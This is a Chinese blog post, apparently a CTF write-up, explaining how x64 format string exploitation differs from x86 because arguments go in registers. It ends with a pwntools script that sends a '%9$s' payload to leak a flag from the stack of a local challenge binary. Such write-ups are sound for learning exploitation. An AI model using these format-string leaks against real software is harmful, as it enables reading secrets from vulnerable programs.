pwn——x64下的格式化字符串

x64和x86在格式化字符串传参上稍有不同,原因在于x64会把printf函数中的参数先传到6个寄存器中。下面以一道例题说明。
链接:https://pan.baidu.com/s/1fgg6HRr__08fW1P0HgmaKA
提取码:1111

二进制文件拖入IDA并F5

pwn——x64下的格式化字符串
代码吧啦吧啦一大堆,实际上就是让你猜一个flag和真正的flag比对,比对正确会给你flag。= =我要是都知道flag还要你的flag干嘛?!

gdb调试

断点断在_isoc99_scanf处,输入AAAA。调试到printf时,查看栈的情况:
pwn——x64下的格式化字符串
显然,flag在栈上。
那么你应该想到了,用%n$s读取出来。现在问题是n是多少?从0x7ffffffdf00开始读,是3吗?那是x86的读取方法,x64是把参数先放在rdi,rsi,rdx,rcx,r8,r9这6个寄存器中的。所以,n=6+3=9。确定好了n,代码就好写了。

from pwn import *
goodluck = ELF('./goodluck')
sh = process('./goodluck')
payload = "%9$s"
sh.sendline(payload)
sh.interactive()

大功告成!

pwn——x64下的格式化字符串

上一篇:如何理解.NET开发中的x86/x64/AnyCPU


下一篇:常用C函数库